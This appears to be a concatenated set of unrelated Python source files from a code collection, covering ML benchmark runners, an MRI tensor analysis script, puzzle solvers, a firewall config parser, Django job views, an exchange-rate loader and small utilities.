execute(cmd, cwd=str(cwd), env=self.env)\n else:\n output_file.parent.mkdir(exist_ok=True, parents=True)\n with output_file.open('w') as f:\n return execute(cmd, cwd=str(cwd), env=env, stdout=f, stderr=sp.STDOUT)\n\n def _construct_test_name(self, executor):\n # type: (Executor) -> Tuple[str, str]\n \"\"\"Construct test class and name from RunConfig\"\"\"\n supported_model = {\n 'seq2seq': ('test_tf.test_seq', 'TestSeqPtb', {\n 'small': '0_small',\n 'medium': '1_medium',\n 'large': '2_large',\n }),\n 'mnistsf': ('test_tf.test_mnist_tf', 'TestMnistSoftmax', {\n 25: '0', 50: '1', 100: '2'\n }),\n 'mnistcv': ('test_tf.test_mnist_tf', 'TestMnistConv', {\n 25: '0', 50: '1', 100: '2'\n }),\n 'mnistlg': ('test_tf.test_mnist_tf', 'TestMnistLarge', {\n 25: '0', 50: '1', 100: '2'\n }),\n 'superres': ('test_tf.test_super_res', 'TestSuperRes', {\n 32: '0', 64: '1', 128: '2',\n 1: '0', 5: '1', 10: '2',\n })\n }\n\n if executor == Executor.Salus:\n prefix = 'test_rpc_'\n elif executor == Executor.TF:\n prefix = 'test_gpu_'\n elif executor == Executor.TFDist:\n prefix = 'test_distributed_'\n else:\n raise ValueError(f'Unknown executor: {executor}')\n\n if self.wl.name.endswith('eval'):\n prefix += 'eval_'\n\n model_name = self.wl.name.rsplit('eval')[0]\n\n if model_name in supported_model:\n pkg, cls, names = supported_model[model_name]\n else:\n # fallback to guessing\n pkg = f'test_tf.test_{model_name}'\n cls = f'Test{snake_to_pascal(model_name)}'\n names = {\n s: str(idx)\n for idx, s in enumerate(self.wl.wtl.available_batch_sizes())\n }\n method = f'{cls}.{prefix}{names[self.wl.batch_size]}'\n return pkg, method\n\n\nclass FathomRunner(Runner):\n \"\"\"Run a fathom job\"\"\"\n\n def __init__(self, wl, base_dir=None):\n super().__init__(wl)\n self.base_dir = base_dir\n if self.base_dir is None:\n self.base_dir = FLAGS.fathom_base\n\n def __call__(self, executor, output_file):\n # type: (Executor, Path) -> Popen\n cwd = self.base_dir\n cmd = [\n 'stdbuf', '-o0', '-e0', '--',\n 'python', '-m', 'fathom.cli',\n '--workload', self.wl.name.rsplit('eval')[0],\n '--action', 'test' if self.wl.name.endswith('eval') else 'train',\n '--num_iters', str(self.wl.batch_num),\n '--batch_size', str(self.wl.batch_size),\n ]\n if executor == Executor.Salus:\n cmd += [\n '--target', SalusServer.current_server().endpoint,\n '--dev', '/gpu:0',\n ]\n elif executor == Executor.TF:\n cmd += [\n '--dev', '/gpu:0',\n ]\n elif executor == Executor.TFDist:\n cmd += [\n '--target', TFDistServer.current_server().endpoint,\n '--dev', '/job:tfworker/gpu:0',\n ]\n else:\n raise ValueError(f'Unknown executor: {executor}')\n\n if FLAGS.no_capture:\n return execute(cmd, cwd=str(cwd), env=self.env)\n else:\n output_file.parent.mkdir(exist_ok=True, parents=True)\n with output_file.open('w') as f:\n return execute(cmd, cwd=str(cwd), env=self.env, stdout=f, stderr=sp.STDOUT)\n","sub_path":"benchmarks/driver/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":9506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"613079754","text":"lst= [2,2,2,3,3]\n\ndef sum_diff (lst):\n sum_of_even=0\n sum_of_odd=0\n for i in lst:\n if i%2==0:\n sum_of_even+=i\n else:\n sum_of_odd+=i\n sum_different=sum_of_even-sum_of_odd\n return sum_different\n\nprint(\"Sum different =\",sum_diff(lst))","sub_path":"Homework_/Task_26.py","file_name":"Task_26.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"211633458","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 5 17:15:23 2018\n\n@author: onarvaez\n\"\"\"\n\nimport dipy as dy\n\nfdwi = '/misc/torrey/onarvaez/difusion_test/denoised_localpca.nii.gz'\nfbval = '/misc/torrey/onarvaez/difusion_test/test/dwi_60.bval'\nfbvec = '/misc/torrey/onarvaez/difusion_test/test/dwi_60.bvec'\n\nimport nibabel as nib \nimg = nib.load(fdwi)\ndata = img.get_data()\nprint(data.shape)\n\nprint(img.header.get_zooms()[:3])\n\nimport matplotlib.pyplot as plt\n\naxial_middle = data.shape[2] // 2\nplt.figure('Showing the datasets')\nplt.subplot(1, 2, 1).set_axis_off()\nplt.imshow(data[:, :, axial_middle, 0].T, cmap='gray', origin='lower')\nplt.subplot(1, 2, 2).set_axis_off()\nplt.imshow(data[:, :, axial_middle, 10].T, cmap='gray', origin='lower')\nplt.show()\nplt.savefig('data.png', bbox_inches='tight')\nfrom dipy.io import read_bvals_bvecs\nbvals, bvecs = read_bvals_bvecs(fbval, fbvec)\nfrom dipy.core.gradients import gradient_table\ngtab = gradient_table(bvals, bvecs)\nprint(gtab.info)\nprint(gtab.bvals)\nprint(gtab.bvecs[:10, :])\nS0s = data[:, :, :, gtab.b0s_mask]\nprint(S0s.shape)\nnib.save(nib.Nifti1Image(S0s, img.affine), 'dwi_good.nii.gz')\n\nimport numpy as np\nimport dipy.reconst.dti as dti\n\nprint('data.shape (%d, %d, %d, %d)' % data.shape)\n\nfrom dipy.segment.mask import median_otsu\n\nmaskdata, mask = median_otsu(data, 3, 1, True,\n vol_idx=range(10, 50), dilate=2)\nprint('maskdata.shape (%d, %d, %d, %d)' % maskdata.shape)\n\ntenmodel = dti.TensorModel(gtab)\ntenfit = tenmodel.fit(maskdata)\n\nprint('Computing anisotropy measures (FA, MD, RGB)')\nfrom dipy.reconst.dti import fractional_anisotropy, color_fa, lower_triangular\n\nFA = fractional_anisotropy(tenfit.evals)\n\nFA[np.isnan(FA)] = 0\nfa_img = nib.Nifti1Image(FA.astype(np.float32), img.affine)\nnib.save(fa_img, 'tensor_fa.nii.gz')\n\nevecs_img = nib.Nifti1Image(tenfit.evecs.astype(np.float32), img.affine)\nnib.save(evecs_img, 'tensor_evecs.nii.gz')\n\nMD1 = dti.mean_diffusivity(tenfit.evals)\nnib.save(nib.Nifti1Image(MD1.astype(np.float32), img.affine), 'tensors_md.nii.gz')\n\nMD2 = tenfit.md\n\nFA = np.clip(FA, 0, 1)\nRGB = color_fa(FA, tenfit.evecs)\nnib.save(nib.Nifti1Image(np.array(255 * RGB, 'uint8'), img.affine), 'tensor_rgb.nii.gz')\n\n\nprint('Computing tensor ellipsoids in a part of the splenium of the CC')\n\nfrom dipy.data import get_sphere\nsphere = get_sphere('symmetric724')\n\nfrom dipy.viz import fvtk\nren = fvtk.ren()\n\nevals = tenfit.evals[1:50, 18:65, 40:41]\nevecs = tenfit.evecs[1:50, 18:65, 40:41]\n\ncfa = RGB[1:50, 18:65, 40:41]\ncfa /= cfa.max()\n\nfvtk.add(ren, fvtk.tensor(evals, evecs, cfa, sphere))\n\nprint('Saving illustration as tensor_ellipsoids.png')\nfvtk.record(ren, n_frames=1, out_path='tensor_ellipsoids.png', size=(600, 600))\n\ntensor_odfs = tenmodel.fit(data[1:50, 18:65, 40:41]).odf(sphere)\n\nfvtk.add(ren, fvtk.sphere_funcs(tensor_odfs, sphere, colormap=None))\n#fvtk.show(r)\nprint('Saving illustration as tensor_odfs.png')\nfvtk.record(ren, n_frames=1, out_path='tensor_odfs.png', size=(600, 600))\n\n\n\n\n","sub_path":"dipy_test.py","file_name":"dipy_test.py","file_ext":"py","file_size_in_byte":3025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"584983943","text":"class Tetromino(object):\n def __init__(self):\n self.blocks = []\n self.set_blocks()\n\n def set_blocks(self):\n temp1 = [[1, 1, 1, 1]]\n temp2 = [[1], [1], [1], [1]]\n temp3 = [[1, 1], [1, 1]]\n temp4 = [[1, 1, 1], [1, 0, 0]]\n temp5 = [[0, 1, 1], [1, 1, 0]]\n temp6 = [[1, 0], [1, 1], [1, 0]]\n\n self.blocks.append(temp1)\n self.blocks.append(temp2)\n self.blocks.append(temp3)\n self.blocks.append(temp4)\n self.blocks.append(temp5)\n self.blocks.append(temp6)\n\n def rotate(self, idx):\n self.blocks[idx] = list(zip(*self.blocks[idx][::-1]))\n\n def symmetry(self, idx):\n original = self.blocks[idx]\n for i in range(len(original)):\n original[i] = original[i][::-1]\n\ndef calculate(base, arr):\n max_value = 0\n for i in range(len(base)):\n for j in range(len(base[0])):\n _sum = 0\n flag = True\n for a_i in range(len(arr)):\n if a_i + i >= len(base):\n flag = False\n break\n for a_j in range(len(arr[0])):\n if a_j + j >= len(base[0]):\n flag = False\n break\n _sum += arr[a_i][a_j] * base[i+a_i][j+a_j]\n if flag:\n max_value = max(max_value, _sum)\n\n return max_value\n\nif __name__ == \"__main__\":\n N, M = map(int, input().split())\n\n paper = []\n for i in range(N):\n paper.append(list(map(int, input().split())))\n\n tetromino = Tetromino()\n\n result = 0\n result = max(result, calculate(paper, tetromino.blocks[0]))\n result = max(result, calculate(paper, tetromino.blocks[1]))\n result = max(result, calculate(paper, tetromino.blocks[2]))\n for i in range(4):\n result = max(result, calculate(paper, tetromino.blocks[3]))\n tetromino.symmetry(3)\n result = max(result, calculate(paper, tetromino.blocks[3]))\n tetromino.symmetry(3)\n tetromino.rotate(3)\n for i in range(2):\n result = max(result, calculate(paper, tetromino.blocks[4]))\n tetromino.symmetry(4)\n result = max(result, calculate(paper, tetromino.blocks[4]))\n tetromino.symmetry(4)\n tetromino.rotate(4)\n for i in range(4):\n result = max(result, calculate(paper, tetromino.blocks[5]))\n tetromino.rotate(5)\n\n print(result)\n","sub_path":"Samsung/baekjoon/14500.py","file_name":"14500.py","file_ext":"py","file_size_in_byte":2434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"135884652","text":"import webQ.utils.cache.cache_model_view as model # 这里注意要引入需要生成的model\nfrom jinja2 import Template, Environment, FileSystemLoader\nfrom webQ.utils.config import *\n\ndef get_model_attr():\n \"\"\"\n 通过model.py 文件获取class属性 返回 table_name pri_key cloumns\n :return:\n \"\"\"\n model_dict = model.__dict__\n\n class_list = list(filter(lambda x: str(type(x[1])) == \"\", model_dict.items()))[\n 1:]\n\n tables = []\n for k, v in class_list:\n table_name = k\n q = dict(v.__dict__)\n if q.get('__tree__'): # 判断是否存在__tree__标记\n pri_key = q['__primary_key__']\n columns = q['__fields__']\n # print(f'{table_name}:{pri_key}:{columns}')\n table = dict(table_name=table_name, pri_key=pri_key, columns=columns)\n tables.append(table)\n dict_string = dict(tables=tables)\n return dict_string\n\n\ndef read_template(dict_string):\n \"\"\"\n :param dict_string: {'models_string':xxxx}\n :return:\n \"\"\"\n env = Environment(loader=FileSystemLoader(templates_path))\n template = env.get_template('view_query_tree.template')\n genmodel = template.render(dict_string)\n return genmodel\n\n\ndef run():\n dict_string = get_model_attr()\n # with open('../generated_file/myview_query_tree.py', 'w', encoding='utf8') as f:\n # f.write(read_template(dict_string=dict_string))\n with open(os.path.join(file_path, 'gen_view_query_tree.py'), 'w', encoding='utf8') as f:\n f.write(read_template(dict_string=dict_string))\n\nif __name__ == '__main__':\n run()\n","sub_path":"webQ/utils/view_generate/model2view_query_tree.py","file_name":"model2view_query_tree.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"362231362","text":"#!/usr/bin/env python\n\n\"\"\"unusedASA.py: This program finds unused objects within an ASA config. The goal is to reduce clutter within\n a configuration.\"\"\"\n\n__author__ = \"Mike Bydalek\"\n__version__ = \"0.1\"\n__email__ = \"mibydale@cisco.com\"\n__status__ = \"Development\"\n\nimport re\nimport sys\nimport argparse\n\nparser = argparse.ArgumentParser(description='This app locates unused Object or Object-group items')\n\n# Required argument: ASA Config File\nparser.add_argument('asaFile', type=str, metavar='ASA_Config.txt',\n help='ASA config text file to parse')\n\nargs = parser.parse_args()\nasaFile = args.asaFile\n\n# Check to see if file exists\ntry:\n asaConfig = open(asaFile)\nexcept IOError:\n print (\"Unable to open file: \" + asaFile)\n quit(1)\n\n# Destination lists\nasaConfigLines = []\nasaObjects = []\n\n# Go through and get all the object and object-group names\nobjectRegex = re.compile('^(object|object-group) (network|service) (.+) (.+)$')\n\nprint (\"Parsing File: \" + asaFile)\n\nwith asaConfig as file:\n for line in file:\n line = line.strip()\n\n objectMatch = objectRegex.match(line)\n\n if objectMatch:\n asaObjects.append(objectMatch.group(3))\n else:\n asaConfigLines.append(line)\n\n# Now go through and find any Objects that are *not* in the ASA Config\nfor object in asaObjects:\n objectRegex = re.compile('.*(' + str(object) + ').*')\n objectsFound = list(filter(objectRegex.match, asaConfigLines))\n\n if (len(objectsFound) == 0):\n print (\"Object Not found: \" + str(object))\n\n# Fin\nquit(0)\n","sub_path":"unusedASA.py","file_name":"unusedASA.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"263742061","text":"from baselines.bench.monitor import Monitor\nimport gym\nimport json\nimport pandas\nfrom datetime import datetime\n\ndef test_monitor():\n\n\n env_name = \"AirRaidNoFrameskip-v4\"\n env = gym.make(env_name)\n env.seed(0)\n mon_file = \"baselines-test-{}-{}.monitor.csv\".format(env_name,\n datetime.now().strftime('%Y_%m%d_%H_%M'))\n menv = Monitor(env, mon_file)\n menv.reset()\n for _ in range(100000):\n _, _, done, _ = menv.step(env.action_space.sample())\n if done:\n menv.reset()\n\n f = open(mon_file, 'rt')\n\n firstline = f.readline()\n assert firstline.startswith('#')\n metadata = json.loads(firstline[1:])\n # assert metadata['env_id'] == \"CartPole-v1\"\n assert set(metadata.keys()) == {'env_id', 't_start'}, \"Incorrect keys in monitor metadata\"\n\n last_logline = pandas.read_csv(f, index_col=None)\n assert set(last_logline.keys()) == {'l', 't', 'r'}, \"Incorrect keys in monitor logline\"\n f.close()\n # os.remove(mon_file)\n\ntest_monitor()\n","sub_path":"baselines/bench/test_monitor.py","file_name":"test_monitor.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"70403104","text":"\"\"\"\nWrite tests for the Phonebook application, which you have implemented in module 1.\nDesign tests for this solution and write tests using unittest library.\n\"\"\"\n\nimport unittest\n\n\nclass MyTestCase(unittest.TestCase):\n def test_something(self):\n self.assertEqual(True, False)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"homework/topic_17_basics_of_testing/task_2.py","file_name":"task_2.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"312878669","text":"import os\nimport logging\nfrom hashlib import sha1\nfrom datetime import datetime, date\nfrom unidecode import unidecode\n\nimport six\nfrom normality import slugify\n\nlog = logging.getLogger(__name__)\n\n\ndef checksum(filename):\n \"\"\" Generate a hash for a given file name. \"\"\"\n hash = sha1()\n with open(filename, 'rb') as fh:\n while True:\n block = fh.read(2 ** 10)\n if not block:\n break\n hash.update(block)\n return hash.hexdigest()\n\n\ndef make_filename(source, sep='-'):\n if source is not None:\n source = os.path.basename(source)\n slugs = [slugify(s, sep=sep) for s in source.split('.')]\n source = '.'.join(slugs)\n source = source.strip('.').strip(sep)\n return source\n\n\ndef latinize_text(text):\n if not isinstance(text, six.text_type):\n return text\n text = unicode(unidecode(text))\n text = text.replace('@', 'a')\n return text.lower()\n\n\ndef string_value(value, encoding=None):\n if encoding is None:\n encoding = 'utf-8'\n try:\n if value is None:\n return\n if isinstance(value, (date, datetime)):\n return value.isoformat()\n elif isinstance(value, float) and not value.is_integer():\n return unicode(value)\n elif isinstance(value, six.string_types):\n if not isinstance(value, six.text_type):\n value = value.decode(encoding)\n if not len(value.strip()):\n return\n else:\n value = unicode(value)\n return value\n except Exception as ex:\n log.exception(ex)\n return\n","sub_path":"aleph/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"337788758","text":"from setup_json.referencia import obtiene_referencia\nfrom setup_json.primary_key import obtiene_pk\nfrom setup_json.campos import obtiene_campos\nfrom setup_json.foranea import obtiene_fk\n\n\ndef obtener_lista(tabla):\n\n js = {}\n\n for table, pk in obtiene_pk().items():\n\n if tabla == table:\n\n pk_ = {'p_key': {\n 'geo': {},\n 'bar': {},\n 'bar_fk': {},\n 'lin': {},\n 'bar_min': {u'count': u'None'},\n 'per': {u'periodo': [u'None']},\n 'coor': {},\n 'scatter': {u'periodo': u'None', u'datos': u'None'},'pk': pk}}\n\n vector = []\n vector.append(pk)\n\n js.update(pk_)\n js.update({\"referencias\": obtiene_referencia(table)})\n js.update({\"foraneas\": obtiene_fk(table)})\n\n\n for f in obtiene_fk(table).keys():\n vector.append(f)\n\n campos = {}\n\n n = 0\n\n for c in obtiene_campos(table):\n\n if c in vector:\n pass\n else:\n campos.update({c: ['text',n]})\n n += 1\n\n if len(campos) == 0:\n campos = {'None':['None',0]}\n\n js.update({\"campos\": campos})\n\n js.update({\"orden\":[[pk,'desc']]})\n #js.update({\"buscar\":busqueda[table]})\n js.update({\"buscar\":['nombre']})\n\n\n return {\"tabla\": table, \"valores\": js}\n","sub_path":"setup_json/listar.py","file_name":"listar.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"3463229","text":"import logging\nimport pandasdmx as pdsdmx\nimport pandas as pd\n\nLOGGER = logging.getLogger('__name__')\n\nclass ExrLoader:\n\n def __init__(self, handler):\n self.handler = handler \n\n def load(self):\n LOGGER.info('Uploading ECB exchange rates to local exchange rate database')\n start = self.handler.date_range.extended[0]\n end = self.handler.date_range.extended[-1]\n key = {\n 'FREQ': 'M',\n 'EXR_SUFFIX': 'A+E',\n 'CURRENCY_DENOM': 'EUR',\n }\n params = {\n 'startPeriod': start,\n 'endPeriod': end\n }\n ecb_rest = pdsdmx.Request('ECB')\n data_resp = ecb_rest.get(resource_type='data', resource_id='EXR', key=key, params=params)\n df = data_resp.write(data_resp.msg.data.series)\n df = df.transpose()\n df = df.unstack().stack(level=0)\n df.reset_index(level=[0,3], drop=True, inplace=True)\n for s in df.itertuples():\n den = self.handler.databases.exr.data.setdefault(s.Index[1], {})\n cur = den.setdefault(s.Index[0], {})\n per = cur.setdefault(s.Index[2].ordinal, [])\n try:\n old_data = per[-1]\n except IndexError:\n per.append((s.E, s.A))\n else:\n if not old_data == (s.E, s.A):\n per.append((s.E, s.A))\n LOGGER.info('Uploading ECB exchange rates to local exchange rate database completed')\n\nclass ExrRequest:\n\n def __init__(self, handler, ordinal=True):\n self.handler = handler \n self.ordinal = ordinal\n\n def get(self, currencies=None, currency_denom=None):\n if currencies == None and currency_denom == None:\n currency_denom = ['EUR']\n currencies = self.handler.databases.exr.data['EUR'].keys()\n elif currency_denom == None: \n currency_denom = ['EUR']\n if isinstance(currencies, str): currencies = [currencies]\n if isinstance(currency_denom, str): currency_denom = [currency_denom]\n\n def yield_series():\n result = {}\n for cd in currency_denom:\n cd_d = self.handler.databases.exr.data.get(cd)\n if not cd_d: continue\n result['denom'] = cd\n for c in currencies:\n c_d = cd_d.get(c)\n if not c_d: continue\n result['currency'] = c\n for per in self.handler.date_range.extended:\n p_l = c_d.get(per.ordinal)\n if not p_l: continue\n result['period'] = per.ordinal if self.ordinal else per\n result['eom_exr'] = p_l[-1][0]\n result['aom_exr'] = p_l[-1][1]\n yield result.copy()\n df = pd.DataFrame(yield_series())\n df.set_index(['denom', 'currency', 'period'], inplace=True)\n df.sort_index(inplace=True)\n df.sort_index(level=df.index.names, inplace=True)\n return df\n","sub_path":"centrale/exr/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"108143820","text":"import os\nfrom datetime import datetime\n\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404, render\nfrom django.urls import reverse\nfrom django.views import generic\nfrom django.utils import timezone\nfrom django.views import View\nfrom django.shortcuts import redirect\nfrom django.conf import settings\nfrom django.core.files.storage import FileSystemStorage\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib import messages\nfrom django.http import HttpResponse\nfrom mimetypes import guess_type\nfrom django.urls import reverse_lazy\n\n\nfrom sdap.jobs.models import Job\nfrom celery.result import AsyncResult\n\n# Create your views here.\nclass IndexView(LoginRequiredMixin, generic.ListView):\n template_name = 'analyse/index.html'\n context_object_name = 'latest_analyse_list'\n\n def get_queryset(self):\n \"\"\"\n Return the last five published questions (not including those set to be\n published in the future).\n \"\"\"\n return Job.objects.filter(\n created_at__lte=timezone.now()\n ).order_by('-created_at')[:5]\n\ndef DetailView(request, pk):\n job = get_object_or_404(Job, pk=pk)\n file_list = []\n \n for file in os.listdir(job.output):\n table_content=''\n info = os.path.splitext(file)\n if info[1] == \".matrix\" or info[1] == \".tsv\" or info[1] == \".info\" or info[1] == \".list\" :\n df = pd.read_csv(os.path.join(job.output, file), sep=\"\\t\")\n df_head = df.head()\n table_content = df_head.to_html(classes=[\"table\", \"table-bordered\", \"table-striped\", \"table-hover\"])\n if info[1] == \".csv\":\n df = pd.read_csv(os.path.join(job.output, file), sep=\",\")\n df_head = df.head()\n table_content = df_head.to_html(classes=[\"table\", \"table-bordered\", \"table-striped\", \"table-hover\"])\n file_list.append({'name':info[0],'ext':info[1], 'table':table_content, 'file':file, 'path':os.path.join(job.output, file)})\n context = {'job':job, 'file_list':file_list}\n return render(request, 'jobs/results.html', context)\n\n\ndef DownloadView(request, pk, file_name):\n job = get_object_or_404(Job, pk=pk)\n file_path = os.path.join(job.output, file_name)\n\n with open(file_path, 'rb') as f:\n response = HttpResponse(f, content_type=guess_type(file_path)[0])\n response['Content-Length'] = len(response.content)\n return response\n\n\nclass RunningJobsView(LoginRequiredMixin, generic.ListView):\n model = Job\n template_name = 'jobs/running_jobs.html'\n \n def get_context_data(self, **kwargs):\n context = super(RunningJobsView, self).get_context_data(**kwargs)\n context['jobs_list'] = Job.objects.filter(created_by__exact=self.request.user.id)\n for job in context['jobs_list']:\n if job.status != \"SUCCESS\":\n job.status = AsyncResult(job.celery_task_id).state\n job.save()\n return context\n\ndef Delete_job(request, pk):\n job = get_object_or_404(Job, pk=pk)\n print(job)\n job.delete()\n context = {}\n context['jobs_list'] = Job.objects.filter(created_by__exact=request.user.id)\n for job in context['jobs_list']:\n if job.status != \"SUCCESS\":\n job.status = AsyncResult(job.celery_task_id).state\n job.save()\n\n return render(request, 'jobs/running_jobs.html', context)","sub_path":"sdap/jobs/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"397163748","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 15 22:33:14 2019\n\n@author: pi\n\"\"\"\n\nfrom unittest import TestCase\nfrom digit_read import Digit\nfrom math_functions import MathFunction\n\nclass TestMathFucntions(TestCase):\n def test_mult_can_mult_can_multiply_1_by_1_matrix(self):\n math = MathFunction()\n A_matrix = [[5]]\n B_matrix = [[10]]\n expected_matrix = [[50]]\n actual_matrix = math.mult(A_matrix, B_matrix)\n self.assertEqual(actual_matrix, expected_matrix)\n \n def test_mult_can_mult_can_multiply_3x2_by_2x2_matrix(self):\n math = MathFunction()\n A_matrix = [[1, 3],\n [4,-1],\n [5, 2]]\n B_matrix = [[5, 1],\n [2,-5]]\n expected_matrix = [ [11,-14],\n [18, 9],\n [29, -5]]\n actual_matrix = math.mult(A_matrix, B_matrix)\n self.assertEqual(actual_matrix, expected_matrix)\n \n def test_mult_can_mult_can_multiply_3x2_by_2x3_matrix(self):\n math = MathFunction()\n A_matrix = [[1, 3],\n [4,-1],\n [5, 2]]\n B_matrix = [[5, 1, 5],\n [2,-5, 2]]\n expected_matrix = [ [11,-14, 11],\n [18, 9, 18],\n [29, -5, 29]]\n actual_matrix = math.mult(A_matrix, B_matrix)\n self.assertEqual(actual_matrix, expected_matrix)\n \n def test_mult_can_mult_can_multiply_1x2_by_2x3_matrix(self):\n math = MathFunction()\n A_matrix = [[1, 3]]\n B_matrix = [[5, 1, 4],\n [2,-5, 6]]\n expected_matrix = [[11,-14, 22]]\n actual_matrix = math.mult(A_matrix, B_matrix)\n self.assertEqual(actual_matrix, expected_matrix)\n \n def test_sigmoid_function_for_1x1_vector(self):\n math = MathFunction()\n num_input = [[5]]\n expected = [[0.9933071267165111]]\n actual = math.sigmoid(num_input)\n self.assertEqual(actual, expected)\n \n def test_sigmoid_function_for_1x4_vector(self):\n math = MathFunction()\n num_input = [[5,0,-2]]\n expected = [[0.9933071267165111,\n 0.5,\n 0.11920306327063111]]\n \n actual = math.sigmoid(num_input)\n self.assertEqual(actual, expected)\n\nclass TestDigitRead(TestCase):\n def test_next_layer_outputs_correct_vector(self):\n digit = Digit()\n in_vector = [[0.5,0.75]]\n wieghts = [[2,1], #bias weights\n [3,4],\n [0,1]]\n expected_output = [[0.970687702262056,\n 0.9770225734624428]]\n actual = digit.calc_next_layer(in_vector, wieghts)\n self.assertEqual(actual, expected_output)\n \n def test_save_wieght_and_read_wieght_work_together(self):\n digit = Digit()\n digit.file_wieghts_location = \"test_wieghts.txt\"\n wieghts0 = [[1.2,2.0,3.0,4.0],\n [4.0,2.0,3.0,1.5]]\n wieghts1 = [[5.0,6.3,7.0,8.0],\n [2.0,3.0,1.0,4.0]]\n wieghts2 = [[3.0,1.0,5.0,9.0],\n [2.9,7.0,9.0,9.0]]\n my_wieghts = [wieghts0, wieghts1, wieghts2]\n digit.mywieghts3D = [wieghts0, wieghts1, wieghts2]\n digit.save_wieghts()\n digit.mywieghts3D =[[[]]] #to make sure it doesnt cheat test\n digit.read_wieghts()\n actual = digit.mywieghts3D\n self.assertEqual(actual, my_wieghts)\n \n def test_save_wieght_and_read_wieght_work_together_2(self):\n digit = Digit()\n digit.file_wieghts_location = \"test_wieghts2.txt\"\n wieghts0 = [[1.2,2.0],\n [4.0,2.0]]\n wieghts1 = [[5.0,6.3,7.0,8.0],\n [2.0,3.0,1.0,4.0],\n [2.9,7.0,9.0,9.0]]\n my_wieghts = [wieghts0, wieghts1]\n digit.mywieghts3D = [wieghts0, wieghts1]\n digit.save_wieghts()\n digit.mywieghts3D =[[[]]] #to make sure it doesnt cheat test\n digit.read_wieghts()\n actual = digit.mywieghts3D\n self.assertEqual(actual, my_wieghts)\n \n def test_make_network_creates_correct_wieght_array_for_given_nodes_in_layer(self):\n digit = Digit()\n digit.file_wieghts_location = \"text_make_network.txt\"\n num_nodes_in_layer = [2,3,1]\n wieghts0 = [[1.0, 1.0, 1.0],\n [1.0, 1.0, 1.0],\n [1.0, 1.0, 1.0]]\n wieghts1 = [[1.0],\n [1.0],\n [1.0],\n [1.0]]\n expected_my_wieghts = [wieghts0, wieghts1]\n digit.make_network(num_nodes_in_layer, 1.0)\n actual = digit.mywieghts3D\n self.assertEqual(actual,expected_my_wieghts)\n \n def test_read_data_loads_records_correctly(self):\n digit = Digit()\n digit.file_records_location = \"needed_data/test_read_data.txt\"\n num_input = 4\n num_output = 2\n num_records = 3\n expected = [[[5.0, 2.0, 4.0, 3.0], #Input\n [2.0, 9.0, 1.0, 5.0],\n [5.0, 2.0, 4.0, 3.0]],\n [[0.5, 0.3], #Output\n [0.7, 0.4],\n [0.5, 0.3]]]\n digit.read_data(num_input, num_output, num_records)\n actual = digit.records \n \n self.assertEqual(actual, expected)\n \n def test_find_output_from_input_calculates_correct_output_for_one_input(self):\n digit = Digit()\n nodes_in_layer = [3,2,2]\n digit.make_network(nodes_in_layer)\n input_data = [[1.0, 2.0, 3.0]]\n digit.records = [input_data,[]]\n expected = [[0.9524916507608503, 0.9524916507608503]]\n digit.find_output_from_input()\n actual = digit.calc_outputs\n self.assertEqual(actual, expected)\n \n def test_find_output_from_input_calculates_correct_output_for_mult_inputs(self):\n digit = Digit()\n nodes_in_layer = [3,2,2]\n digit.make_network(nodes_in_layer)\n input_data = [[1.0, 2.0, 3.0],\n [2.0, 1.0, 3.0],\n [5.0, 4.0, 3.0],\n [1.0, 0.5, 2.0]]\n digit.records = [input_data,[]]\n expected = [[0.9524916507608503, 0.9524916507608503],\n [0.9524916507608503, 0.9524916507608503],\n [0.9525738314274983, 0.9525738314274983],\n [0.9515713940433558, 0.9515713940433558]]\n digit.find_output_from_input()\n actual = digit.calc_outputs\n self.assertEqual(actual, expected)\n ","sub_path":"Digit_Read/test_digit_read.py","file_name":"test_digit_read.py","file_ext":"py","file_size_in_byte":6629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"435871489","text":"from wand.color import Color\nfrom wand.image import Image\nfrom wand.drawing import Drawing\n\n\ndef placeholder_avatar(text, color=\"black\", background='white', max_font_size=None, size=200, padding=25, output=None):\n font_size = max_font_size or size # may go lower than this to fit\n\n with Drawing() as draw, Image(width=size, height=size, background=Color(background)) as img:\n draw.font_size = font_size\n draw.fill_color = Color(color)\n draw.font = 'OpenSans-Regular.ttf'\n\n while True:\n metrics = draw.get_font_metrics(img, text)\n if (size - metrics.text_width) < 2 * padding or (size - metrics.text_height) < 2 * padding:\n draw.font_size -= 1\n else:\n x = int((size - metrics.text_width) / 2)\n y = int(size / 2 + metrics.text_height / 4)\n break\n\n draw.text(x, y, text)\n draw(img)\n\n 